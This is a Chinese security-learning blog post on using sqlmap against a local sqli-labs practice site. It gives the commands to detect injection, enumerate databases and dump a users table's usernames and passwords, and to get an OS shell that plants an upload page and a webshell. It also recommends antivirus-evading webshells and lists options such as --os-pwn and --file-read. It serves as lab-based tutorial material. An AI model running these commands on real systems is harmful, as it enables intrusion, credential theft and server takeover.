SQL注入(3)——SQLMAP

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入

之前介绍了各种SQL注入的方法,今天介绍SQLMAP工具的使用及如何通过SQL注入拿到Webshell

介绍

SQLMap是一个用Python写的SQL注入工具,可以轻松地对目标进行SQL注入攻击

安装

由于我已经安装了Python环境,所以我这里是直接用pip安装

打开DOS,输入:

pip install sqlmap -i https://mirrors.aliyun.com/pypi/simple/

在这里插入图片描述
这样就是安装成功了

然后在dos中输入sqlmap,如果出现像下图的,则为安装成功
在这里插入图片描述

使用

我们通过一个实例来讲解SQLMAP的使用

测试地址:http://192.168.1.9/sql1/Less-1/?id=1
注入检测
简单查看页面,怀疑存在SQL注入漏洞
在这里插入图片描述
直接放进sqlmap扫描。指令:

 sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1

在这里插入图片描述
如图,返回了数据库的版本和信息,说明存在注入

返回结果介绍:
在这里插入图片描述
这一堆东西说明了存在注入的参数和注入方法,以及各种注入的Payload

在这里插入图片描述
这里说了数据库的类型版本,如果在测试中出现此内容,说明存在注入漏洞。

信息获取
获取当前用户sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --current-user
在这里插入图片描述

获取当前数据库:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --current-db
在这里插入图片描述

获取所有数据库:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --dbs
在这里插入图片描述

获取security数据库的所有表:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 -D security -tables
在这里插入图片描述

获取users表中所有字段:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 -D security -T users -columns
在这里插入图片描述

获取username,password的内容:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 -D security -T users -C username,password -dump
在这里插入图片描述
-dump可以导出数据,数据导出位置在
在这里插入图片描述
在这里插入图片描述
GetShell
通过SQLMAP获取shell
判断是否为dba:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --is-dba
在这里插入图片描述
如果这里权限是dba的话,可以尝试直接写shell
使用os-shell可以执行系统指令,同时向服务器上传一个文件用于文件上传
前提是需要知道网站的绝对路径并且有文件权限。

sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --os-shell

在这里插入图片描述
这里会要你选择网站的语言。选择4,PHP
在这里插入图片描述在这里要猜解网站的绝对路径,可以使用SQLMAP的字典,也可以自己导入字典。我这里直接1,使用SQLMAP的字典。
在这里插入图片描述
假如猜解成功,就会返回一个shell。

注意,在这里有两个地址
在这里插入图片描述
告诉我们上传了一个上传文件的位置和一个后门到服务器。
我们分别访问看一下
http://192.168.1.9:80/tmpupupp.php
在这里插入图片描述
在这里是一个文件上传点,可以上传自己的大马,小马,一句话。

http://192.168.1.9/tmpbbeih.php
这里直接上传了一个Webshell,可以直接菜刀连接,密码是cmd
在这里插入图片描述
不过这个马并不是免杀的,你可以上传自己的免杀马。

同时,在这里也可以执行自己想执行的指令,例如获取自身权限
在这里插入图片描述

常用参数

SQLMAP常用参数
参数说明
-b获取 banner
-p指定测试参数
-g从Google中获取URL,-g "inurl:aspx?id="
--gpage指定Google页码
--union-check是否支持 union 注入
--union-use使用union注入
--proxy代理注入
--threads采用多线程
--referer=REFERERHTTP referer头
--keep-alive使用持久 HTTP(S)连接
--hostname主机名
--is-dba是否管理员权限
--users枚举所有用户
--passwords枚举所有用户密码
--roles针枚举所有用户角色
--dump转存DBMS数据库表项目,需要指定字段名称
--sql-query执行SQL语句
--file-read读取文件(需要File权限和绝对路径)
--file-write写入操作(需要File权限和绝对路径)
--file-desk绝对路径写入
--os-pwn反弹shell
--cookie=COOKIE指定Cookie
--random-agent使用随机 User-Agent 头
--level测试等级(1~5),默认为1
这里Level可以设置测试等级,当等级达到3时将尝试cookie注入,同时需要的时间更长。

Threads可以设置线程数,在时间盲注时可加快效率。

-p可以指定测试参数,例如 -p id 意为测试参数id。

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值